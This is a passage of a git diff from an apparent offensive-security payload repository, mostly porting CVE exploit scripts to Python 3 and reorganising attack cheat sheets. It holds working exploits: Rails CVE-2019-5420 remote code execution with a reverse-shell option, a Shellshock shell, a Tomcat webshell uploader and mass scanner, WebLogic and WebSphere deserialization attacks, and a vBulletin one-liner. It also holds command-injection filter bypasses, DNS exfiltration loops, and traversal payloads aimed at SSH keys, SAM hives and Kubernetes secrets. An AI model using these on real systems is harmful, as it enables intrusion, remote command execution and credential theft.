puts "Reflective command selected" + command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1] + elsif input == "S" + puts "Reverse shell selected" + command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1] + else + puts "No option selected" + abort + end + + command_b64 = Base64.encode64(command) + + print "[+] Generating payload CVE-2019-5420 => " + secret_key_base = credentials.secret_key_base + key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) + secret = key_generator.generate_key("ActiveStorage") + verifier = ActiveSupport::MessageVerifier.new(secret) + if input == "R" + code = "system('bash','-c','" + command + " > /tmp/result.txt')" + else + code = "system('bash','-c','" + command + "')" + end + erb = ERB.allocate + erb.instance_variable_set :@src, code + erb.instance_variable_set :@filename, "1" + erb.instance_variable_set :@lineno, 1 + dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result + + puts "\033[92mOK\033[0m" + puts "" + url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test" + puts url + puts "" + + print "[+] Sending request => " + uri = URI(url) + req = Net::HTTP::Get.new(uri) + req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| + http.request(req) + } + if res.code == "500" + puts "\033[92mOK\033[0m" + else + puts "KO" + abort + end + + if input == "R" + print "[+] Getting result of command => " + uri = URI($remote + $ressource) + req = Net::HTTP::Get.new(uri) + req['Accept'] = "../../../../../../../../../../tmp/result.txt{{" + res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| + http.request(req) + } + if res.code == "200" + puts "\033[92mOK\033[0m\n\n" + puts res.body + puts "\n" + else + puts "KO" + abort + end + end + + rescue Exception => e + puts "Exiting..." + abort + end +end diff --git a/CVE Exploits/Shellshock CVE-2014-6271.py b/CVE Exploits/Shellshock CVE-2014-6271.py old mode 100755 new mode 100644 index 5ca49491c3..3246c801c3 --- a/CVE Exploits/Shellshock CVE-2014-6271.py +++ b/CVE Exploits/Shellshock CVE-2014-6271.py @@ -11,22 +11,26 @@ # .. # ~$ /bin/cat /etc/passwd -import sys, urllib2 +from __future__ import print_function +from future import standard_library +standard_library.install_aliases() +from builtins import input +import sys, urllib.request, urllib.error, urllib.parse if len(sys.argv) != 2: - print "Usage: shell_shocker " + print("Usage: shell_shocker ") sys.exit(0) URL=sys.argv[1] -print "[+] Attempting Shell_Shock - Make sure to type full path" +print("[+] Attempting Shell_Shock - Make sure to type full path") while True: - command=raw_input("~$ ") - opener=urllib2.build_opener() + command=input("~$ ") + opener=urllib.request.build_opener() opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)] try: response=opener.open(URL) for line in response.readlines(): - print line.strip() - except Exception as e: print e + print(line.strip()) + except Exception as e: print(e) diff --git a/CVE Exploits/Tomcat CVE-2017-12617.py b/CVE Exploits/Tomcat CVE-2017-12617.py old mode 100755 new mode 100644 index 52b325eb3f..4b72ffb7db --- a/CVE Exploits/Tomcat CVE-2017-12617.py +++ b/CVE Exploits/Tomcat CVE-2017-12617.py @@ -7,21 +7,25 @@ options: --u ,--url [::] check target url if it's vulnerable --p,--pwn [::] generate webshell and upload it +-u ,--url [::] check target url if it's vulnerable +-p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: -./cve-2017-12617.py -u http://127.0.0.1 -./cve-2017-12617.py --url http://127.0.0.1 -./cve-2017-12617.py -u http://127.0.0.1 -p pwn -./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn -./cve-2017-12617.py -l hotsts.txt +./cve-2017-12617.py -u http://127.0.0.1 +./cve-2017-12617.py --url http://127.0.0.1 +./cve-2017-12617.py -u http://127.0.0.1 -p pwn +./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn +./cve-2017-12617.py -l hotsts.txt ./cve-2017-12617.py --list hosts.txt """ +from __future__ import print_function +from builtins import input +from builtins import str +from builtins import object import requests import re import signal @@ -34,7 +38,7 @@ -class bcolors: +class bcolors(object): HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' @@ -50,14 +54,14 @@ class bcolors: banner=""" - _______ ________ ___ ___ __ ______ __ ___ __ __ ______ + _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | - | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / - | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / - | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / - \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ - - + | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / + | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / + | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / + \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ + + [@intx0x80] @@ -79,9 +83,9 @@ def signal_handler(signal, frame): def removetags(tags): - remove = re.compile('<.*?>') - txt = re.sub(remove, '\n', tags) - return txt.replace("\n\n\n","\n") + remove = re.compile('<.*?>') + txt = re.sub(remove, '\n', tags) + return txt.replace("\n\n\n","\n") def getContent(url,f): @@ -94,9 +98,9 @@ def createPayload(url,f): headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers) if req.status_code==201: - print "File Created .." + print("File Created ..") + - def RCE(url,f): EVIL="""
""".format(f)+""" @@ -119,26 +123,26 @@ def RCE(url,f):
<%=output %>
""" - + headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} - + req=requests.put(str(url)+f+"/",data=EVIL, headers=headers) - + def shell(url,f): - + while True: headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} - cmd=raw_input("$ ") + cmd=input("$ ") payload={'cmd':cmd} if cmd=="q" or cmd=="Q": - break - + break + re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers) re=str(re.content) t=removetags(re) - print t + print(t) @@ -152,21 +156,21 @@ def shell(url,f): bcolors.HEADER+""" - _______ ________ ___ ___ __ ______ __ ___ __ __ ______ + _______ ________ ___ ___ __ ______ __ ___ __ __ ______ / ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ | - | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / - | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / - | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / - \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ - - + | | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / / + | | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / / + | |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / / + \_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/ + + ./cve-2017-12617.py [options] options: --u ,--url [::] check target url if it's vulnerable +-u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list @@ -187,7 +191,7 @@ def shell(url,f): ) -parse.add_option("-u","--url",dest="U",type="string",help="Website Url") +parse.add_option("-u","--url",dest="U",type="string",help="Website Url") parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it") parse.add_option("-l","--list",dest="L",type="string",help="hosts File") @@ -201,47 +205,35 @@ def shell(url,f): else: if opt.U!=None and opt.P==None and opt.L==None: - print bcolors.OKGREEN+banner+bcolors.ENDC - url=str(opt.U) - checker="Poc.jsp" - print bcolors.BOLD +"Poc Filename {}".format(checker) - createPayload(str(url)+"/",checker) - con=getContent(str(url)+"/",checker) - if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: - print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC - print bcolors.WARNING+url+"/"+checker+bcolors.ENDC - - else: - print 'Not Vulnerable to CVE-2017-12617 ' + print(bcolors.OKGREEN+banner+bcolors.ENDC) + url=str(opt.U) + checker="Poc.jsp" + print(bcolors.BOLD +"Poc Filename {}".format(checker)) + createPayload(str(url)+"/",checker) + con=getContent(str(url)+"/",checker) + if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: + print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC) + print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC) + + else: + print('Not Vulnerable to CVE-2017-12617 ') elif opt.P!=None and opt.U!=None and opt.L==None: - print bcolors.OKGREEN+banner+bcolors.ENDC - pwn=str(opt.P) - url=str(opt.U) - print "Uploading Webshell ....." - pwn=pwn+".jsp" - RCE(str(url)+"/",pwn) - shell(str(url),pwn) + print(bcolors.OKGREEN+banner+bcolors.ENDC) + pwn=str(opt.P) + url=str(opt.U) + print("Uploading Webshell .....") + pwn=pwn+".jsp" + RCE(str(url)+"/",pwn) + shell(str(url),pwn) elif opt.L!=None and opt.P==None and opt.U==None: - print bcolors.OKGREEN+banner+bcolors.ENDC - w=str(opt.L) - f=open(w,"r") - print "Scaning hosts in {}".format(w) - checker="Poc.jsp" - for i in f.readlines(): - i=i.strip("\n") - createPayload(str(i)+"/",checker) - con=getContent(str(i)+"/",checker) - if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: - print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m" - - - - - - - - - - - - + print(bcolors.OKGREEN+banner+bcolors.ENDC) + w=str(opt.L) + f=open(w,"r") + print("Scaning hosts in {}".format(w)) + checker="Poc.jsp" + for i in f.readlines(): + i=i.strip("\n") + createPayload(str(i)+"/",checker) + con=getContent(str(i)+"/",checker) + if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con: + print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m") diff --git a/CVE Exploits/WebLogic CVE-2016-3510.py b/CVE Exploits/WebLogic CVE-2016-3510.py index b77ad9b75f..706e0b1a07 100644 --- a/CVE Exploits/WebLogic CVE-2016-3510.py +++ b/CVE Exploits/WebLogic CVE-2016-3510.py @@ -4,6 +4,7 @@ #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r +from __future__ import print_function import socket import struct import argparse @@ -34,29 +35,29 @@ ysoserial_path = args.ysoserial_path if len(args.target.split(':')) != 2: - print '[-] Target must be in format IP:PORT' + print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: - print '[-] You must specify a command to run' + print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -print '[*] Target IP: {}'.format(ip) -print '[*] Target PORT: {}'.format(port) +print('[*] Target IP: {}'.format(ip)) +print('[*] Target PORT: {}'.format(port)) sock.connect((ip, int(port))) # Send headers headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' -print '[*] Sending header' +print('[*] Sending header') sock.sendall(headers) data = sock.recv(1024) -print'[*] Received: "{}"'.format(data) +print('[*] Received: "{}"'.format(data)) payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) @@ -67,5 +68,5 @@ # adjust header for appropriate message length payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:]) -print '[*] Sending payload' +print('[*] Sending payload') sock.send(payload) diff --git a/CVE Exploits/WebLogic CVE-2017-10271.py b/CVE Exploits/WebLogic CVE-2017-10271.py index 9990f95c9b..71236dd14e 100644 --- a/CVE Exploits/WebLogic CVE-2017-10271.py +++ b/CVE Exploits/WebLogic CVE-2017-10271.py @@ -1,3 +1,5 @@ +from __future__ import print_function +from builtins import input import requests import sys @@ -44,18 +46,18 @@ def do_post(command_in): result = requests.post(payload_url, payload_command(command_in ),headers = payload_header) if result.status_code == 500: - print "Command Executed \n" + print("Command Executed \n") else: - print "Something Went Wrong \n" + print("Something Went Wrong \n") -print "***************************************************** \n" \ +print("***************************************************** \n" \ "**************** Coded By 1337g ****************** \n" \ "* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \ - "***************************************************** \n" + "***************************************************** \n") while 1: - command_in = raw_input("Eneter your command here: ") + command_in = input("Eneter your command here: ") if command_in == "exit" : exit(0) do_post(command_in) diff --git a/CVE Exploits/WebLogic CVE-2018-2894.py b/CVE Exploits/WebLogic CVE-2018-2894.py old mode 100755 new mode 100644 index 0fd904a4b5..18adab053d --- a/CVE Exploits/WebLogic CVE-2018-2894.py +++ b/CVE Exploits/WebLogic CVE-2018-2894.py @@ -2,6 +2,8 @@ # coding:utf-8 # Build By LandGrey +from __future__ import print_function +from builtins import str import re import sys import time diff --git a/CVE Exploits/WebSphere CVE-2015-7450.py b/CVE Exploits/WebSphere CVE-2015-7450.py index d54263716d..c37215e470 100644 --- a/CVE Exploits/WebSphere CVE-2015-7450.py +++ b/CVE Exploits/WebSphere CVE-2015-7450.py @@ -4,6 +4,8 @@ #Based on the nessus plugin websphere_java_serialize.nasl #Made with <3 by @byt3bl33d3r +from __future__ import print_function +from builtins import chr import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) @@ -34,7 +36,7 @@ elif args.command: if len(args.command) > 254: - print '[-] Command must be less then 255 bytes' + print('[-] Command must be less then 255 bytes') sys.exit(1) ip, port = args.target.split(':') @@ -75,4 +77,4 @@ 'SOAPAction': 'urn:AdminService'} r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False) -print '[*] HTTPS request sent successfully' +print('[*] HTTPS request sent successfully') diff --git a/CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh b/CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh new file mode 100644 index 0000000000..3ebf64a244 --- /dev/null +++ b/CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh @@ -0,0 +1 @@ +curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;" \ No newline at end of file diff --git a/Remote commands execution/Intruder/command-execution-unix.txt b/Command Injection/Intruder/command-execution-unix.txt similarity index 100% rename from Remote commands execution/Intruder/command-execution-unix.txt rename to Command Injection/Intruder/command-execution-unix.txt diff --git a/Remote commands execution/Intruder/command_exec.txt b/Command Injection/Intruder/command_exec.txt similarity index 100% rename from Remote commands execution/Intruder/command_exec.txt rename to Command Injection/Intruder/command_exec.txt diff --git a/Remote commands execution/README.md b/Command Injection/README.md similarity index 55% rename from Remote commands execution/README.md rename to Command Injection/README.md index 828a4811f1..f8b3fca023 100644 --- a/Remote commands execution/README.md +++ b/Command Injection/README.md @@ -1,11 +1,40 @@ -# Remote Commands Execution - -Remote Commands execution is a security vulnerability that allows an attacker to execute commands from a remote server. -NOTE: Reverse Shell Command are relocated to a [single file](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) +# Command Injection + +> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application. + +## Summary + +* [Tools](#tools) +* [Exploits](#exploits) + * [Basic commands](#basic-commands) + * [Chaining commands](#chaining-commands) + * [Inside a command](#inside-a-command) +* [Filter Bypasses](#filter-bypasses) + * [Bypass without space](#bypass-without-space) + * [Bypass with a line return](#bypass-with-a-line-return) + * [Bypass blacklisted words](#bypass-blacklisted-words) + * [Bypass with single quote](#bypass-with-single-quote) + * [Bypass with double quote](#bypass-with-double-quote) + * [Bypass with backslash and slash](#bypass-with-backslash-and-slash) + * [Bypass with $@](#bypass-with-) + * [Bypass with variable expansion](#bypass-with-variable-expansion) + * [Bypass with wildcards](#bypass-with-wildcards) +* [Challenge](#challenge) +* [Time based data exfiltration](#time-based-data-exfiltration) +* [DNS based data exfiltration](#dns-based-data-exfiltration) +* [Polyglot command injection](#polyglot-command-injection) +* [References](#references) + + +## Tools + +* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix) ## Exploits -Normal Commands execution, execute the command and voila :p +### Basic commands + +Execute the command and voila :p ```powershell cat /etc/passwd @@ -15,7 +44,7 @@ bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh ``` -Commands execution by chaining commands +### Chaining commands ```powershell original_cmd_by_server; ls @@ -24,14 +53,18 @@ original_cmd_by_server | ls original_cmd_by_server || ls Only if the first cmd fail ``` -Commands execution inside a command +### Inside a command -```powershell +```bash original_cmd_by_server `cat /etc/passwd` original_cmd_by_server $(cat /etc/passwd) ``` -Commands execution without space - Linux +## Filter Bypasses + +### Bypass without space + +Works on Linux only. ```powershell swissky@crashlab:~/Www$ cat /usr/bin/zsh +echo whoami|$0 ``` -Bypass blacklisted word with variable expansion +#### Bypass with variable expansion ```powershell /???/??t /???/p??s?? @@ -110,20 +149,13 @@ cat ${test//hhh\/hm/} cat ${test//hh??hm/} ``` -Bypass blacklisted word with wildcards +#### Bypass with wildcards + ```powershell powershell C:\*\*2\n??e*d.*? # notepad @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc ``` -Bypass zsh/bash/sh blacklist - -```powershell -echo $0 --> /usr/bin/zsh -echo whoami|$0 -``` - ## Challenge Challenge based on the previous tricks, what does the following command do: @@ -155,7 +187,7 @@ Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbi ```powershell 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' -for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done +for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` ```powershell @@ -167,6 +199,26 @@ Online tools to check for DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in +## Polyglot command injection + +```bash +1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} + +e.g: +echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} +echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} +echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} +``` + +```bash +/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ + +e.g: +echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ +echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/" +echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/' +``` + ## References * [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) diff --git a/Directory traversal/Intruder/deep_traversal.txt b/Directory Traversal/Intruder/deep_traversal.txt similarity index 100% rename from Directory traversal/Intruder/deep_traversal.txt rename to Directory Traversal/Intruder/deep_traversal.txt diff --git a/Directory traversal/Intruder/directory_traversal.txt b/Directory Traversal/Intruder/directory_traversal.txt similarity index 100% rename from Directory traversal/Intruder/directory_traversal.txt rename to Directory Traversal/Intruder/directory_traversal.txt diff --git a/Directory traversal/Intruder/dotdotpwn.txt b/Directory Traversal/Intruder/dotdotpwn.txt similarity index 100% rename from Directory traversal/Intruder/dotdotpwn.txt rename to Directory Traversal/Intruder/dotdotpwn.txt diff --git a/Directory traversal/Intruder/traversals-8-deep-exotic-encoding.txt b/Directory Traversal/Intruder/traversals-8-deep-exotic-encoding.txt similarity index 100% rename from Directory traversal/Intruder/traversals-8-deep-exotic-encoding.txt rename to Directory Traversal/Intruder/traversals-8-deep-exotic-encoding.txt diff --git a/Directory traversal/README.md b/Directory Traversal/README.md similarity index 55% rename from Directory traversal/README.md rename to Directory Traversal/README.md index 6e472a1634..ec975de30b 100644 --- a/Directory traversal/README.md +++ b/Directory Traversal/README.md @@ -4,8 +4,26 @@ ## Summary +* [Tools](#tools) * [Basic exploitation](#basic-exploitation) + * [16 bits Unicode encoding](#16-bits-unicode-encoding) + * [UTF-8 Unicode encoding](#utf-8-unicode-encoding) + * [Bypass "../" replaced by ""](#bypass--replaced-by-) + * [Bypass "../" with ";"](#bypass--with-) + * [Double URL encoding](#double-url-encoding) + * [UNC Bypass](#unc-bypass) * [Path Traversal](#path-traversal) + * [Interesting Linux files](#interesting-linux-files) + * [Interesting Windows files](#interesting-windows-files) +* [References](#references) + +## Tools + +- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) + ```powershell + git clone https://github.com/wireghoul/dotdotpwn + perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b + ``` ## Basic exploitation @@ -22,7 +40,7 @@ We can use the `..` characters to access the parent directory, the following str %uff0e%uff0e%u2216 ``` -16 bit Unicode encoding +### 16 bits Unicode encoding ```powershell . = %u002e @@ -30,7 +48,7 @@ We can use the `..` characters to access the parent directory, the following str \ = %u2216 ``` -UTF-8 Unicode encoding +### UTF-8 Unicode encoding ```powershell . = %c0%2e, %e0%40%ae, %c0ae @@ -38,6 +56,7 @@ UTF-8 Unicode encoding \ = %c0%5c, %c0%80%5c ``` +### Bypass "../" replaced by "" Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them. ```powershell @@ -45,7 +64,14 @@ Sometimes you encounter a WAF which remove the "../" characters from the strings ...\.\ ``` -Double URL encoding +### Bypass "../" with ";" + +```powershell +..;/ +http://domain.tld/page.jsp?include=..;/..;/sensitive.txt +``` + +### Double URL encoding ```powershell . = %252e @@ -53,10 +79,20 @@ Double URL encoding \ = %255c ``` +**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini` + +### UNC Bypass + +An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file. + +```powershell +\\localhost\c$\windows\win.ini +``` + ## Path Traversal -Linux - Interesting files to check out : +### Interesting Linux files ```powershell /etc/issue @@ -76,9 +112,18 @@ Linux - Interesting files to check out : /proc/net/route /proc/net/tcp /proc/net/udp +/proc/self/cwd/index.php +/proc/self/cwd/main.py +/home/$USER/.bash_history +/home/$USER/.ssh/id_rsa +/var/run/secrets/kubernetes.io/serviceaccount +/var/lib/mlocate/mlocate.db +/var/lib/mlocate.db ``` -Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) +### Interesting Windows files + +Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) ```powershell c:/boot.ini @@ -101,6 +146,8 @@ c:/unattend.txt c:/unattend.xml c:/unattended.txt c:/unattended.xml +c:/windows/repair/sam +c:/windows/repair/system ``` The following log files are controllable and can be included with an evil payload to achieve a command execution @@ -111,19 +158,14 @@ The following log files are controllable and can be included with an evil payloa /var/log/httpd/error_log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log +/var/log/nginx/access.log +/var/log/nginx/error.log /var/log/vsftpd.log /var/log/sshd.log /var/log/mail ``` -Other easy win files. - -```powershell -/home/$USER/.bash_history -/var/run/secrets/kubernetes.io/serviceaccount -``` - - ## References * [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack) +* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html) diff --git a/File inclusion/Intruders/BSD-files.txt b/File Inclusion/Intruders/BSD-files.txt similarity index 100% rename from File inclusion/Intruders/BSD-files.txt rename to File Inclusion/Intruders/BSD-files.txt diff --git a/File inclusion/Intruders/JHADDIX_LFI.txt b/File Inclusion/Intruders/JHADDIX_LFI.txt similarity index 98% rename from File inclusion/Intruders/JHADDIX_LFI.txt rename to File Inclusion/Intruders/JHADDIX_LFI.txt index 6f10e3ffe2..75b06325f3 100644 --- a/File inclusion/Intruders/JHADDIX_LFI.txt +++ b/File Inclusion/Intruders/JHADDIX_LFI.txt @@ -666,6 +666,18 @@ users/.htpasswd /var/log/news/news.notice /var/log/news/suck.err /var/log/news/suck.notice +/var/log/nginx/access_log +/var/log/nginx/access.log +../../../../../../../var/log/nginx/access_log +../../../../../../../var/log/nginx/access.log +../../../../../var/log/nginx/access_log +../../../../../var/log/nginx/access.log +/var/log/nginx/error_log +/var/log/nginx/error.log +../../../../../../../var/log/nginx/error_log +../../../../../../../var/log/nginx/error.log +../../../../../var/log/nginx/error_log +../../../../../var/log/nginx/error.log /var/log/poplog /var/log/POPlog /var/log/proftpd diff --git a/File inclusion/Intruders/LFI-FD-check.txt b/File Inclusion/Intruders/LFI-FD-check.txt similarity index 100% rename from File inclusion/Intruders/LFI-FD-check.txt rename to File Inclusion/Intruders/LFI-FD-check.txt diff --git a/File inclusion/Intruders/LFI-WindowsFileCheck.txt b/File Inclusion/Intruders/LFI-WindowsFileCheck.txt similarity index 100% rename from File inclusion/Intruders/LFI-WindowsFileCheck.txt rename to File Inclusion/Intruders/LFI-WindowsFileCheck.txt diff --git a/File inclusion/Intruders/Linux-files.txt b/File Inclusion/Intruders/Linux-files.txt similarity index 91% rename from File inclusion/Intruders/Linux-files.txt rename to File Inclusion/Intruders/Linux-files.txt index 601422b8b1..c43cc4a639 100644 --- a/File inclusion/Intruders/Linux-files.txt +++ b/File Inclusion/Intruders/Linux-files.txt @@ -55,4 +55,8 @@ /var/log/apache/error.log /var/log/apache/error_log /var/log/httpd/error_log -/var/log/httpd/access_log \ No newline at end of file +/var/log/httpd/access_log +/var/log/nginx/access_log +/var/log/nginx/access.log +/var/log/nginx/error_log +/var/log/nginx/error.log \ No newline at end of file diff --git a/File inclusion/Intruders/List_Of_File_To_Include.txt b/File Inclusion/Intruders/List_Of_File_To_Include.txt similarity index 97% rename from File inclusion/Intruders/List_Of_File_To_Include.txt rename to File Inclusion/Intruders/List_Of_File_To_Include.txt index 884f448954..0ad6dcb385 100644 --- a/File inclusion/Intruders/List_Of_File_To_Include.txt +++ b/File Inclusion/Intruders/List_Of_File_To_Include.txt @@ -765,6 +765,20 @@ php://input /var/log/mysql/mysql-slow.log /var/log/mysql/mysql-slow.log /var/log/mysql/mysql-slow.log%00 +/var/log/nginx/access_log +/var/log/nginx/access_log +/var/log/nginx/access_log +/var/log/nginx/access.log +/var/log/nginx/access.log +/var/log/nginx/access_log%00 +/var/log/nginx/access.log%00 +/var/log/nginx/error_log +/var/log/nginx/error_log +/var/log/nginx/error.log +/var/log/nginx/error.log +/var/log/nginx/error.log +/var/log/nginx/error_log%00 +/var/log/nginx/error.log%00 /var/log/proftpd /var/log/proftpd /var/log/proftpd%00 diff --git a/File inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt b/File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt similarity index 95% rename from File inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt rename to File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt index d4f2edf0a5..4f764a8d63 100644 --- a/File inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt +++ b/File Inclusion/Intruders/List_Of_File_To_Include_NullByteAdded.txt @@ -41,6 +41,10 @@ /var/log/httpd/error_log%00 /var/log/httpd/access_log%00 /var/log/httpd/error_log%00 +/var/log/nginx/access_log%00 +/var/log/nginx/access.log%00 +/var/log/nginx/error_log%00 +/var/log/nginx/error.log%00 /apache/logs/error.log%00 /apache/logs/access.log%00 /apache/logs/error.log%00 diff --git a/File inclusion/Intruders/Logs-files.txt b/File Inclusion/Intruders/Logs-files.txt similarity index 100% rename from File inclusion/Intruders/Logs-files.txt rename to File Inclusion/Intruders/Logs-files.txt diff --git a/File inclusion/Intruders/Mac-files.txt b/File Inclusion/Intruders/Mac-files.txt similarity index 64% rename from File inclusion/Intruders/Mac-files.txt rename to File Inclusion/Intruders/Mac-files.txt index 9a1dd6920d..99fdad9807 100644 --- a/File inclusion/Intruders/Mac-files.txt +++ b/File Inclusion/Intruders/Mac-files.txt @@ -3,4 +3,6 @@ /private/var/log/appstore.log /var/log/apache2/error_log /var/log/apache2/access_log -/usr/local/nginx/conf/nginx.conf \ No newline at end of file +/usr/local/nginx/conf/nginx.conf +/var/log/nginx/error_log +/var/log/nginx/access_log \ No newline at end of file diff --git a/File inclusion/Intruders/Traversal.txt b/File Inclusion/Intruders/Traversal.txt similarity index 100% rename from File inclusion/Intruders/Traversal.txt rename to File Inclusion/Intruders/Traversal.txt diff --git a/File inclusion/Intruders/Web-files.txt b/File Inclusion/Intruders/Web-files.txt similarity index 100% rename from File inclusion/Intruders/Web-files.txt rename to File Inclusion/Intruders/Web-files.txt diff --git a/File inclusion/Intruders/Windows-files.txt b/File 